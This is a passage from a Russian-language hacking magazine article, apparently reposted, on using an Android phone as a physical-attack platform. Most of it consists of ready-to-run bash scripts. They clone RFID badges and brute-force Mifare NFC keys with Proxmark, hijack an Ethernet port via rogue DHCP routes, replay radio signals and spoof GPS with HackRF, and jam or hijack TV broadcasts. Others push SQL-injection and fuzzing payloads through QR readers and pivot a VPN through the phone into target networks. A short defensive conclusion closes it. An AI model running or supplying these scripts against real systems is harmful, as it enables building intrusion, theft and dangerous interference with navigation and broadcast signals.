Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — coldboot.img — и выполнить атаку Cold Boot.
PROXMARK
Технологии RFID (125 кГц) и NFC (13,56 МГц) применяются повсеместно для бесконтактной идентификации и преодоления турникетов на заводах, входных дверей кабинетов, подъездов и так далее.RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика.
Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем.
Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров).
Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер:
Код:
CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm
Код:
git clone https://github.com/Proxmark/proxmark3
cd proxmark3; make
RFID
RFID — технология бесконтактной идентификации, по сути радиометка, чаще всего содержащая 5 байт. Эта технология никак не защищена от несанкционированного чтения и может быть без труда клонирована. RFID можно сравнить с QR-кодом, который легко сфотографировать и использовать повторно, с той лишь разницей, что здесь не оптический канал считывания, а радио-.Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные:
rfid/clone.sh
Bash:
#!/bin/bash
./read.sh | while read tag
do echo "$tag"
./emulate.sh "$tag"
done
rfid/read.sh
Bash:
#!/bin/bash
while :
do
tag=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'lf search'|grep 'EM TAG ID'|awk '{print $5}')
if [ x"$tag" != "x" ]; then
echo $tag
~/android/vibrate.sh
fi
sleep 1
done
Эмуляция считанной RFID-метки уже позволит обойти, скажем, систему контроля и управления доступом:
rfid/emulate.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && tag="$1" || read -p 'tag: ' tag
{ echo "lf em 410xsim $tag"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0
И, вполне ожидаемо, злоумышленник без проблем попадает в здание. Сотрудник вышел покурить, злоумышленник подошел, чтобы спросить время, и незаметно поднес телефон с Proxmark к его карману, где хранится пропуск. Далее злоумышленник может проникнуть в защищенное помещение. А что, если жертвой стал системный администратор? Тогда бонусом будет и доступ в серверные.
NFC
NFC — это технология беспроводной передачи информации, имеющая защиту от несанкционированного чтения. Самый распространенный из ее вариантов — Mifare 1024 содержит 1024 байт информации, разделенной на 16 секторов по четыре блока, по 16 байт в каждом. И именно доступ к этим секторам защищается четырехбайтными ключами. Впрочем, в этой технологии найден ряд уязвимостей, позволяющих восстанавливать ключи. При этом часто восстановить ключи можно за несколько секунд.Попытка полного клонирования карты при условии, что атакующий может восстановить ключи к секторам, состоит из попытки чтения и эмуляции:
nfc/clone.sh
Bash:
#!/bin/bash
while :
do echo -n '.'
uid=$(./read.sh 1 | head -n 1)
if [ x"$uid" != "x" -a -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then
./emulate.sh "$uid"
break
fi
done
nfc/read.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && attempts="$1" || attempts=99
function brute(){
KEYS='/opt/proxmark3/client/default_keys.dic'
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf chk * ? d $KEYS" | grep '^|0' | while read sec keyA s keyB s
do echo "$sec $keyA $keyB"
if [ "x$keyA" = "x?" -a "x$keyB" = "x?" ]; then
rm dumpkeys.bin
return 1
fi
done
return 0
}
function nested(){
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf chk * ?' | grep '^|0' | while read sec keyA s keyB s
do echo "$sec $keyA $keyB"
sec=$(printf %d $(echo "$sec"|cut -d '|' -f 2))
key=''
if [ "x$keyA" != "x?" ]; then
key="$keyA"
type="A"
elif [ "x$keyB" != "x?" ]; then
key="$keyB"
type="B"
fi
if [ "x" != "x$key" ]; then
echo "hf mf nested 1 $sec $type $key d"
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf nested 1 $sec $type $key d"
if [ -f dumpkeys.bin ]; then
xxd dumpkeys.bin
return 0
else
return 1
fi
break
fi
done
}
function dump(){
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf dump 1'
if [ -f dumpdata.bin ]; then
xxd dumpdata.bin
return 0
else
return 1
fi
}
shopt -s lastpipe
for ((i=0; i<"$attempts"; i++))
do
uid=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf search'|grep 'UID :'|awk '{print $3$4$5$6}')
if [ x"$uid" != "x" ]; then
echo "$uid"
if brute; then
if dump; then
break
fi
elif nested; then
if dump; then
break
fi
fi
fi
sleep 1
done
Если чтение со словарными ключами не удалось, скрипт пробует атаку Nested. Для успеха злоумышленнику нужен ключ хотя бы от одного сектора. По нему, анализируя генератор простых чисел, можно восстановить ключи ко всем оставшимся секторам. Если ключи восстановлены и все сектора прочитаны, то атакующий может эмулировать NFC жертвы:
nfc/emulate.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && uid="$1" || read -p 'uid: ' uid
if [ -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then
xxd -ps -c 16 dumpdata.bin > dumpdata.eml
{ echo 'hf mf eload 1 dumpdata'; echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0
else
{ echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0
fi
Какой импакт здесь имеет место? Как минимум — такой же, как в случае с RFID. Если карта NFC содержит дефолтные ключи либо подвержена популярной уязвимости MFOC, то примерно за десять секунд все данные с карты могут быть выгружены. На некоторых картах эта атака может занимать больше времени. Подобные NFC — это всем известные карточки оплаты в транспорте. Иными словами, импакт от незащищенности данных на NFC-носителях может нанести финансовый ущерб.
Proxmark — достаточно мощный инструмент, возможности которого отнюдь не ограничены описанными примерами атак. Это самое простое и быстрое, что может сделать хакер в контексте физического воздействия, проводимого в тандеме с телефоном. Более того, инструмент Proxmark3 имеет собственный набор скриптов для автоматизации определенных действий.
ETHERNET
Если атакующий имеет дело с Ethernet, ему нужно сначала подключить внешнюю сетевую карту. Вообще, некоторые сетевые карты в форм‑факторе USB в магазинах иногда продаются с особой пометкой — «Для планшетов». Велика вероятность, что такую сетевую карту ядро подхватит автоматически. Тем не менее, если этого не произошло, всегда можно дособрать требуемый ядерный модуль, например так:
Код:
CONFIG_USB_RTL8152=m
make modules M=drivers/net/usb
eth/start.sh
Bash:
#!/bin/bash
sudo insmod /lib/modules/4.14.83-quax+/extra/r8152.ko
sudo /lib/systemd/systemd-udevd --debug &
count=$(lsusb|wc -l)
while sleep 1; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi; done
sleep 2
sudo killall systemd-udevd
sudo ifconfig eth0 up
sudo ip a add 11.0.0.10/24 dev eth0
sleep 1
table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)
echo "eth0 table: $table"
sudo ip r add 11.0.0.0/24 dev eth0 table $table
sudo ip rule add to 11.0.0.0/24 lookup $table
ifconfig eth0
Атака
Если перед атакующим заблокированный комп, то альтернативой подключению к нему по USB (как в статье «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH») может быть подключение напрямую патч‑кордом в Ethernet-порт, в надежде, что тот активен. Скорее всего, если рассматривать корпоративный сценарий атаки, перед атакующим будет стационарный компьютер или ноутбук, в который уже что‑то подключено по Ethernet. Значит, сеть на интерфейсе активна. После подключения атакующий также получит сетевой канал взаимодействия с устройством и сможет просканировать его на уязвимости, побрутить SMB/RDP/SSH, а также выполнить MITM-атаки, ведь атакующий может занять IP-адрес шлюза.Поскольку адаптер сетевой карты может быть уже сконфигурирован, придется сначала слушать трафик, чтобы понять, какой IP-адрес занять атакующему. В этом случае устройство жертвы не запрашивает настройки по DHCP, а значит, здесь не провернуть трюк с перекрытием сетевых маршрутов. Ведь с BadUSB-ETH каждый раз создается новый интерфейс, который конфигурируется автоматически.
eth/attack.sh
Bash:
#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
#~/gui.sh
sudo dnsmasq --conf-file=dnsmasq-attack.conf -d -p0
function change_network(){
ip="$1"
table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)
sudo ip a add "${ip%.*}.1/24" dev eth0
sudo ip r add "${ip%.*}.0/24" dev eth0 table $table
sudo ip rule add to "${ip%.*}.0/24" lookup $table
}
for script in $(find on_network/ -type f -perm -u+x)
do
exec sudo $script eth0 "" &
done
rm /tmp/eth_attacks.txt 2> /dev/null
while :
do
ip=$(sudo tcpdump -i eth0 -nn -c 1 arp 2> /dev/null | awk '{print $7}' | cut -d ',' -f 1)
egrep -q "^$ip$" /tmp/eth_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/eth_attacks.txt
read -p "$ip ?" ok
[[ "$ok" != 'y' ]] && continue
change_network "$ip"
for script in $(find on_client/ -type f -perm -u+x)
do
exec $script $ip "" "${ip%.*}.1" &
done
done
Предлагаемая конфигурация по DHCP при этом следующая:
eth/dnsmasq-attack.conf
Код:
domain=fake.net
interface=eth0
dhcp-range=11.0.0.100,11.0.0.110,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,8.8.8.8,8.8.4.4
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
В конечном счете на устройстве будет запущен весь атакующий арсенал через скрипты on_network/on_client, подробно описанные в статьях про BadUSB-ETH, Pineapple и Karma. Таким образом, используя смартфон и любую сетевую карту USB, мы можем добиться эффекта устройства Shark Jack.
Сниффинг
Если же перед атакующим не розетка Ethernet, а лишь провод, он может применить к нему полудуплексное прослушивание трафика, то есть прослушивание половины трафика — либо входящий, либо исходий. Это уже знакомая атака, представленная в статье «Крококряк. Снимаем трафик с витой пары обычными „крокодилами“». К оранжевой либо зеленой паре подключаются зажимы, а обратный конец идет напрямую в сетевую карту USB.
Сама атака требует некоторой ловкости рук и реализуется менее чем за минуту.
SDR
Программное радио (SDR), например HackRF One, можно также подключить к телефону. И в этой атаке вновь не требуются особые драйверы. Для базовых функций есть даже мобильное приложение.
HackRF — самый доступный полудуплексный SDR, который позволяет как принимать, так и отправлять радиосигнал на частотах в большом диапазоне — от 1 МГц до 6 ГГц. При этом форма сигнала (модуляция, ширина канала) полностью задается программно. Это открывает огромные возможности для взаимодействия с радиосигналами. Например, можно изучить любой радиосигнал, а затем воссоздать его в нужном виде.
Разумеется, с телефона крайне неудобно ресерчить радиосигнал, анализировать его форму, угадывать способ кодирования, а потом пытаться модулировать его обратно из двоичного кода. Оставим это для компьютера. Но некоторые радиоатаки достаточно просты, хорошо автоматизированы и могут быть выполнены с телефона.
Гаражные ворота, сигнализации, даже управление автоматикой на предприятии — вот далеко не полный список устройств, которые могут быть атакованы с помощью SDR. Рассмотрим некоторые из самых простых атак.
Replay
Очень простой атакой, удобно реализуемой с телефона, может быть replay-атака — запись радиосигнала и его последующее воспроизведение (подобно диктофону):sdr/record.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
[[ $# -ge 2 ]] && dumpfile="$2" || dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]
echo "$dumpfile"
sudo hackrf_transfer -a 1 -s $RATE -f "$freq" -r "$dumpfile" -l 40 -g 62
sdr/play.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
[[ $# -ge 2 ]] && dumpfile="$2" || read -p 'dumpfile: ' dumpfile
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]
sudo hackrf_transfer -a 0 -s $RATE -f "$freq" -t "$dumpfile" -x 47
sdr/replay.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]
./record.sh "$freq" $dumpfile
read -p 'replay?' continue
./play.sh "$freq" $dumpfile
Открытие шлагбаума — это одна из самых безобидных и простых вещей, которые можно сделать подобным образом.
И далее атакующий уже сам может управлять техникой.
Если подобные вещи можно проделывать с промышленной техникой, то это уже не выглядит как простая забава. Аналогично для более сложных радиоатак может быть запущен заранее приготовленный gnuradio-скрипт. Например, для угона радиоуправляемой техники.
GPS spoofing
Радиосигнал со спутника, по мощности сопоставимый с обычной лампой накаливания, доходя до земли с высоты 20 тысяч километров значительно ослабевает, и его мощность становится в 100 раз ниже уровня радиошума. Это дает хорошую техническую возможность перебить и подделать сигнал даже не самым мощным оборудованием.Спутники системы GPS были запущены в космос почти полвека тому назад. В те времена люди еще не думали о компьютерной безопасности, а сейчас спутники уже не вернешь. С помощью SDR атакующий может подделать сигнал от спутников GPS и вместе с ним задать произвольную текущую координату:
sdr/gps/spoofing.sh
Bash:
#!/bin/bash
trap 'echo interrupted' INT
[[ $# -ge 1 ]] && lat="$1" || read -p 'latitude: ' lat
[[ $# -ge 2 ]] && lon="$2" || read -p 'longitude: ' lon
DURATION=$[2*60]
RATE=2600000
FREQ=1575420000
/opt/gps-sdr-sim/gps-sdr-sim -b 8 -d $DURATION -e /opt/gps-sdr-sim/brdc0010.22n -o /sdcard/gpssim.bin -l $lat,$lon,0
sudo hackrf_transfer -a 0 -s $RATE -f $FREQ -t /sdcard/gpssim.bin -x 20 -R
#git clone https://github.com/osqzss/gps-sdr-sim; cd gps-sdr-sim; make
На самом деле геопозиционирование современных мобильных телефонов достаточно умное и выполняется не только по спутниковым системам, где, помимо GPS, есть еще ГЛОНАСС, Galileo и BeiDou, но и по наземным источникам сигналов — сотовым вышкам, точкам доступа Wi-Fi и встроенным датчикам. А современное программное обеспечение умеет определять попытки «телепортации», поэтому сдвигать локацию лучше плавно по нескольку сотен метров.
Зато автономные GPS-модули более подвержены такой атаке. Позиционирование в квадрокоптерах или технике посерьезнее не руководствуется наземными источниками сигналов, которых в воздухе или море особо‑то и нет.
Импакт от подделки координат может быть самый разнообразный, начиная автоматической посадкой и угоном дронов и заканчивая воздействием на более внушительные транспортные средства. Например, злоумышленник, плывущий на корабле, который движется на автопилоте и ориентируется по спутникам, теоретически вполне может, манипулируя с GPS, заставить его повернуть в любую сторону.
Вообще, по GPS синхронизируется сначала не местоположение, а время. И время тоже можно подделать. Если установить неправильное время, на уязвимом устройстве ломается весь SSL-трафик, что при некоторых обстоятельствах может привести к отказу в обслуживании.
DMR decode
Другим примером использования SDR может быть перехват переговоров c использованием раций. Многие рации передают голос открыто, не обеспечивая никакого скремблирования. Многие, полагаю, слышали чужие переговоры на дешевых китайских рациях.Для перехвата переговоров атакующий может выбрать открытый диапазон частот, на котором работает большинство раций, — около 433 МГц — и выставить FM-демодуляцию.
Многие SDR умеют еще и передавать сигналы. Используя gnuradio-схему на рисунке ниже, атакующий может отправить аудиосообщение на такую рацию.
С применением такой схемы можно отправлять сигналы не только в рацию, но и на обычные FM-радиоприемники, вмешиваясь в радиоэфир.
Не все рации передают голос в открытом виде. Те, в которых используется кодирование, тоже могут быть прослушаны:
Код:
apt install pulseaudio-utils
git clone https://github.com/szechyjs/dsd; cd dsd; cmake --build build
socat udp-listen:7355 - | padsp /opt/dsd/build/dsd -i - -o /dev/dsp
Как это может применить злоумышленник? Представь, что охрана использует рации для координации своих действий. Потенциальный злодей, желающий проникнуть на закрытую территорию, чтобы разместить там свою аппаратную закладку, может таким образом прослушивать переговоры охраны. А какой эффект он получит, если отправит охранникам ложное сообщение?
TV spoofing
Телевизионный сигнал также можно атаковать с помощью SDR-устройств. В зависимости от типа телевещания злоумышленник может воспользоваться специальным открытым ПО и сгенерировать модулированный сигнал, заглушив им оригинальный источник телетрансляции. Правда, стоит иметь в виду локальный характер атаки, покрывающий относительно небольшую территорию. Но учитывая, что атака может выполняться с помощью всего лишь двух карманных устройств (HackRF и телефона), злоумышленник в состоянии компенсировать этот недостаток, подойдя максимально близко к целям.Аналоговое ТВ
Используя SDR и следующее ПО, можно модулировать любой видеофайл в сигнал аналогового ТВ:
Код:
git clone https://github.com/fsphil/hacktv
hacktv -o output.bin -f 512000000 -s 8000000 -m ntsc input.mp4
hackrf_transfer -a 0 -s 8000000 -f 512000000 -t output.bin -x 47
Цифровое эфирное ТВ (DVB-T)
Используя SDR и следующее ПО, можно модулировать любой видеофайл в сигнал цифрового эфирного ТВ:
Код:
git clone https://github.com/drmpeg/dtv-utils
ffmpeg -i test.mp4 -vcodec copy -c:v 'mpeg2video' in.mp4
python3 dvbt-blade.py -f 674000000 in.mp4
Цифровое спутниковое ТВ (DVB-S)
Точно так же злоумышленник может поступить и со спутниковым ТВ, транслируя с помощью доступного ПО любой видеофайл:
Код:
git clone https://github.com/drmpeg/gr-dvbs
./dvbs_tx_hackrf.py
QR
Мобильный телефон удобно использовать для атак на QR-считыватели.С QR-кодами атакующий может сделать, в общем‑то, немало:
- брутфорс, чтобы обойти проверку;
- фаззинг, чтобы вызвать ошибку, отказ в обслуживании или даже внедрить какой‑то код;
- injection, внедрить SQL-инъекцию или системный код ОС.
Код:
pip3 install qrcode
qr --ascii "test" # Для текстовых данных
cat data.bin | qr --ascii # Для двоичных данных
qr/encode.sh
Bash:
#!/bin/bash
clear
qr 2> /dev/null
Но если атакующий собирается что‑то фаззить или брутить, то ему нужен эталонный образец данных из QR-кода. Для декодирования проще всего использовать любое мобильное приложение, специально предназначенное для этого. Некоторые телефоны умеют это делать даже встроенной камерой. Но для фанатов консоли и автоматизации можно воспользоваться Linux-распознавалкой QR-кодов:
qr/decode.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && out="$1" || out='data'
CAM=0
photo=$(~/android/camera.sh $CAM)
convert "$photo" -resize '20%' /tmp/qr.jpg
if zbarimg --raw --oneshot -Sbinary /tmp/qr.jpg > "$out" 2> /dev/null
then
xxd < "$out"
echo '' >> "$out"
fi
rm /tmp/qr.jpg
rm "$photo"
Далее, задействовав простейший цикл на Bash, можно запустить уже перебор некоторых значений, зашифрованных в QR-коде:
qr/brute.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && iters="$1" || iters=100
for ((i=0; i<$iters; i++))
do cat data | sed -rn "s/.$/$i/p" | encode.sh
done
Теоретически вполне допустимо, что система для контроля доступа руководствуется порядковыми номерами. Злоумышленник, сфотографировав чей‑то QR-код, может попробовать перебрать такие порядковые номера в надежде угадать код и обойти тем самым контроль доступа.
Часто бывает, что в QR-коде зашифрована обычная URL-строка или ее фрагмент. Например, почти во всех магазинах можно встретить вот такие терминалы, ожидающие идентификатор товара.
Такие терминалы — потенциальная точка проникновения: данные, которые вводятся посредством кодировки QR, могут небезопасно подставляться в базы данных и быть уязвимы к SQL-инъекциям или к прямому внедрению команд ОС.
С помощью следующего нехитрого скрипта можно прогнать какой‑нибудь словарь, узко заточенный под ту или иную уязвимость.
qr/injection.sh
Bash:
#!/bin/bash
[[ $# -ge 1 ]] && wordlist="$1" || read -p 'wordlist: ' wordlist
TIMEOUT=0.5
cat "$wordlist" | while read payload
do
echo -n "$(cat data)${payload}" | encode.sh
sleep $TIMEOUT
done
Слегка изменив цикл, можно запустить мутационный фаззинг с помощью radamsa:
qr/fuzz.sh
Bash:
#!/bin/bash
MAX_SIZE=200
TIMEOUT=0.5
out=_$RANDOM
mkdir $out
for ((i=1; i>0; i++))
do
cat data | radamsa -n 1 | cut -b 1-$MAX_SIZE > $out/$i
./encode.sh < $out/$i
sleep $TIMEOUT
done
На рисунке ниже наглядно показано, как QR-считыватель начинает принимать искаженные данные.
На одном из вендинговых автоматов по продаже еды подобным фаззингом удалось добиться выполнения произвольной команды ОС и вызвать калькулятор, предварительно повернув экран на 90° и спровоцировав несколько ошибок в ПО.
POST
Телефон можно использовать не только для атак, но и как средство предоставления доступа. Например, сидя на ресепшене, атакующий может расшарить через VPN свой mon-интерфейс для атак на Wi-Fi, тем самым предоставив доступ к беспроводным сетям напарникам, ведь им с ноутбука работать все равно удобнее. Это, кстати, уже было продемонстрировано в статье «Грозный ананас. Собираем и применяем свой Wi-Fi Pineapple».Более того, так как телефон имеет встроенный 4G, он может использоваться еще и как шлюз для скрытого подключения к атакуемой сети. В этом случае с помощью VPN, открытого через 4G на телефоне, можно организовать линк в атакуемую сеть из любой точки мира.
Сначала требуется настроить на телефоне сам VPN. Проще всего его реализовать с помощью OpenVPN. Для максимального удобства маршрутизации лучше использовать L2-туннель (tap). Такой туннель позволяет атакующим находиться на расстоянии одного хопа для удобства маршрутизации. Однако соответствующее приложение для Android не предоставляет возможности использовать туннель в форме L2. Но его поддержка присутствует в ядре, и его можно использовать, просто добавив соответствующее символьное устройство:
vpn.sh
Bash:
#!/bin/bash
if [ ! -r /dev/net/tun ]; then
sudo mkdir /dev/net
sudo mknod /dev/net/tun c 10 200
fi
set -m
sudo openvpn --config ~/vds.ovpn --route-noexec &
while ! ip r | grep tap0; do sleep 1; done
table=$(ip r show table all|grep tap0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)
sudo ip r add 172.16.0.0/24 dev tap0 table $table
sudo ip rule add to 172.16.0.0/24 lookup $table
echo "tap0 table: $table"
#sudo ip r add 192.168.0.0/16 via 172.16.0.30 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table
fg %
sudo ip rule del to 172.16.0.0/24 lookup $table
Теперь чуть более подробно расскажу о каждом сценарии.
POST-wlan
Посмотрим, как может быть выполнена организация удаленного доступа к Wi-Fi через телефон.Все, что нужно сделать, — это немного изменить маршрутизацию на телефоне, чтобы пакеты с VPN начали заходить в атакуемый Wi-Fi. На Android маршрутизация не прописывается в дефолтную таблицу main, как это обычно бывает. Вместо этого для каждого интерфейса автоматически формируется своя таблица (ip r show table all), для связи с которой создается дополнительный набор правил (ip rule show all). Эти правила часто включают условия маркировки пакетов при помощи встроенного файрвола, с использованием еще более гибких правил (iptables -t mangle -vnL).
В итоге это все та же маршрутизация Linux, но сильно разбитая по таблицам, что немного усложняет понимание общей картины. Но все, что требуется знать, — какой номер таблицы у нужного интерфейса. Затем нужно добавить в эту таблицу необходимые маршруты и прописать для них соответствующее правило, указывающее на эту таблицу:
wifi/gw.sh
Bash:
#!/bin/bash
table=$(ip r show table all | grep wlan0 | grep table | grep -v local | head -n 1 | cut -d ' ' -f 7)
sudo ip rule add iif tap0 lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o wlan0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
Код:
route add -net 192.168.0.0/16 gw $mobile
POST-usb
Подключив телефон по USB к компьютеру, злоумышленник может получить к нему скрытый сетевой доступ, активировав уже известные по BadUSB-ETH USB-гаджеты. Для этого требуется изменить маршрутизацию телефона для прохождения пакетов от VPN в сторону компьютера по USB:badusb/eth/gw.sh
Bash:
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq.conf -p0
sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection
sleep 1
sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
read -p 'press Enter when finish' stop
sudo iptables -A tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo iptables -t nat -D tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo killall dnsmasq
#sudo ip rule del from all iif lo oif rndis0 lookup 97
sudo ip rule del to 192.168.42.0/24 lookup 97
badusb/eth/dnsmasq.conf
Код:
domain=fake.net
interface=rndis0
dhcp-range=192.168.42.100,192.168.42.110,24h
dhcp-option=1,255.255.255.0
Подобного эффекта, но в ином форм‑факторе можно также добиться с помощью 4G-модема, описанного в статье «Опасный модем. Закрепляемся в атакованной системе при помощи USB-модема».
POST-ETH
Аналогично можно использовать телефон и для предоставления удаленного доступа к локальной сети по проводу. Ранее в этой статье уже рассматривались варианты использования внешнего Ethernet-адаптера. Приведенный ниже скрипт немного переконфигурирует сетевые настройки телефона так, чтобы трафик с VPN-интерфейса мог пойти в подключенный Ethernet-адаптер:eth/gw.sh
Bash:
#!/bin/bash
vpn=$(ip r|grep -e tun0 -e tap0|grep src|cut -d ' ' -f 3)
table=$(ip r show table all|grep eth0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)
#sudo ip r add 192.168.0.0/16 via 192.168.9.1 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table
sudo ip rule add iif $vpn lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o eth0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
Тот, кто получает подобный доступ в локальную сеть через телефон, работает с куда большим комфортом, чем сам злоумышленник с телефоном без физической клавиатуры. Но ничто не мешает подключить ее и использовать смартфон для полноценных атак в локальной сети уже самостоятельно, прямо с мобилы.
Даже если у внутреннего нарушителя нет ноутбука, но есть телефон, то он ничуть не менее опасен.
ВЫВОДЫ
Реальный взлом со смартфона или любого другого устройства может не отличаться от того, что показано в играх или в кино. Единственное отличие — время, которое занимает атака. В зависимости от сложности реальной системы, для проникновения могут потребоваться часы, дни или даже месяцы. Тем не менее любая из представленных атак осуществима.В этой статье и в материале «Киберфон. Превращаем телефон на Android в инструмент хакера» наглядно продемонстрировано, что злоумышленник с телефона может реализовать не только общие атаки, но и специфичные, воспроизводимые только с телефона или специального оборудования. Сама по себе эта статья не про атаки, а про их реализацию на самой неприметной платформе — телефоне. Существует ли какая‑то защита от этих атак, если телефон сейчас есть абсолютно у каждого?
Когда ты защищаешь какой‑то критичный объект, возможно, будет нелишним ограничить использование телефонов. Таким образом, меры защиты от подобных атак сводятся к физическому контролю доступа посторонних лиц, а также к ограничению использования телефона в тех зонах, где расположены критичные объекты информационной инфраструктуры.
Этой статьей мы закрываем серию публикаций, посвященных приемам взлома и физическим атакам с использованием подручных устройств. Цикл, начатый в январе этого года и воплощенный в десятке статей, затронул множество примеров атак и устройств.
Изначально, опираясь лишь на общедоступные устройства, изображенные в центре графа, злоумышленник превращает их в хакерские инструменты. И далее каждый из них с использованием той или иной технологии дает ему возможность развивать необходимые атаки. В итоге подобным образом достигаются самые разнообразные эффекты: от безобидного отказа в обслуживании до полного контроля над целью.
На протяжении всего цикла статей мы ни разу не воспользовались для атак ноутбуком и тем самым продемонстрировали, что компьютер — далеко не единственный инструмент потенциального злоумышленника.
Автор s0i37
источник xakep.ru